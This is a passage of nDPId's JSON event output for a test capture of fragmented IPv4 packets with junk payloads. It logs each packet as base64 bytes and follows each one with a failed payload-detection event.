+00424{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777079,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCpc2AAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777103,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777109,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777115,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777120,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777128,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777134,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777139,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777150,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777156,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777162,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777169,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777175,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777218,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777225,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777230,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777235,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777241,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777246,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777251,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777256,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777261,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777266,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777277,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777282,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777293,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777298,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777309,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777314,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777320,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777326,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777348,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777392,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777398,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777403,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777408,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777413,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777417,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6302,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6303,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777422,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection 